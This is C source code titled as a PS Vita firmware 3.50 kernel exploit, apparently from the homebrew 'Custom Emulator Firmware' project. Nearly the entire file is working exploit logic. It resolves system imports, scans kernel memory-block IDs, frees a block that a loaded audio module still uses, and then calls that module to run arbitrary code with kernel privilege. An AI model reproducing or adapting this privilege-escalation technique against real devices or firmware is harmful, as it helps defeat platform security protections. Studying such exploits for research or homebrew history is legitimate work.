PS Vita 3.50 Kernel Exploit #4

/*
    Custom Emulator Firmware
    Copyright (C) 2012-2015, Total_Noob

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#include <common.h>

#include "main.h"
#include "libc.h"
#include "utils.h"

#define MAX_UIDS 20

u32 address_list[MAX_UIDS];

int (* _sceKernelExitDeleteThread)(int status);
int (* _sceUtility_private_7EBD6208)();

void RepairSysmem()
{
}

int load_thread()
{
    _sceUtility_private_7EBD6208();
    return _sceKernelExitDeleteThread(0);
}

void doExploit()
{
    /* Find imports in RAM */
    void (* _sceKernelDcacheWritebackAll)() = (void *)FindImport("UtilsForUser", 0x79D1C3FA);
    int (* _sceUtilityLoadModule)(int id) = (void *)FindImport("sceUtility", 0x2A2B3DE0);

    SceUID (* _sceKernelCreateThread)(const char *name, SceKernelThreadEntry entry, int initPriority, int stackSize, SceUInt attr, SceKernelThreadOptParam *option) = (void *)FindImport("ThreadManForUser", 0x446D8DE6);
    int (* _sceKernelStartThread)(SceUID thid, SceSize arglen, void *argp) = (void *)FindImport("ThreadManForUser", 0xF475845D);
    int (* _sceKernelWaitThreadEnd)(SceUID thid, SceUInt *timeout) = (void *)FindImport("ThreadManForUser", 0x278C0DF5);

    _sceKernelExitDeleteThread = (void *)FindImport("ThreadManForUser", 0x809CE29B);
    _sceUtility_private_7EBD6208 = (void *)FindImport("sceUtility_private", 0x7EBD6208);

    SceUID (* _sceKernelAllocMemoryBlock)(const char *name, int type, u32 size, void *params) = (void *)FindImport("SysMemUserForUser", 0xFE707FDF);
    int (* _sceKernelGetMemoryBlockAddr)(SceUID uid, void **ptr) = (void *)FindImport("SysMemUserForUser", 0xDB83A952);
    int (* _sceKernelFreeMemoryBlock)(SceUID uid) = (void *)FindImport("SysMemUserForUser", 0x50F61D8A);

    if(!_sceKernelDcacheWritebackAll || !_sceUtilityLoadModule) ErrorFlashScreen();
    if(!_sceKernelCreateThread || !_sceKernelStartThread || !_sceKernelWaitThreadEnd) ErrorFlashScreen();
    if(!_sceKernelExitDeleteThread || !_sceUtility_private_7EBD6208) ErrorFlashScreen();
    if(!_sceKernelAllocMemoryBlock || !_sceKernelGetMemoryBlockAddr || !_sceKernelFreeMemoryBlock) ErrorFlashScreen();

    /* Load required module */
    _sceUtilityLoadModule(PSP_MODULE_NP_DRM);

    SceUID new_uid = _sceKernelAllocMemoryBlock("", PSP_SMEM_High, 1, NULL);

    SceUID uid_max = ((new_uid & 0xFFF00000) | 0x000FFFFF) + 0x100000;
    SceUID uid_min = uid_max - 0x200000;

    int i;
    SceUID uid;

    for(uid = uid_max, i = 0; uid > uid_min && i < MAX_UIDS; uid -= 2)
    {
        u32 addr = 0;
        _sceKernelGetMemoryBlockAddr(uid, (void *)&addr);

        if(addr & 0x80000000)
        {
            address_list[i] = addr;
            i++;
        }
    }

    /* Load first module */
    _sceUtilityLoadModule(PSP_MODULE_AV_G729);

    int (* _sceG729EncodeTermResource)() = (void *)FindImport("sceG729", 0x94714D50);
    if(!_sceG729EncodeTermResource) ErrorFlashScreen();

    int free = 0;

    for(uid = uid_max, i = 0; uid > uid_min && i < MAX_UIDS; uid -= 2)
    {
        u32 addr = 0;
        _sceKernelGetMemoryBlockAddr(uid, (void *)&addr);

        if(addr & 0x80000000)
        {
            if(address_list[i] != addr)
            {
                _sceKernelFreeMemoryBlock(uid);
                free = 1;
                break;
            }

            i++;
        }
    }

    if(!free) ErrorFlashScreen();

    /* Load second module */
/*  SceUID thid = _sceKernelCreateThread("load_thread", load_thread, 0x10, 0x1000, 0, NULL);
    _sceKernelStartThread(thid, 0, NULL);
    _sceKernelWaitThreadEnd(thid, NULL);*/
    _sceUtility_private_7EBD6208();

    _sceKernelDcacheWritebackAll();

    /* Execute with kernel privilege */
    _sceG729EncodeTermResource();

    /* Restore registers */
    asm("addiu $sp, $sp, -16\n");
    asm("move $s0, $k1\n");

    /* Execute kernel function */
    void (* execute)() = (void *)((u32)kernel_function | 0x80000000);
    execute();
}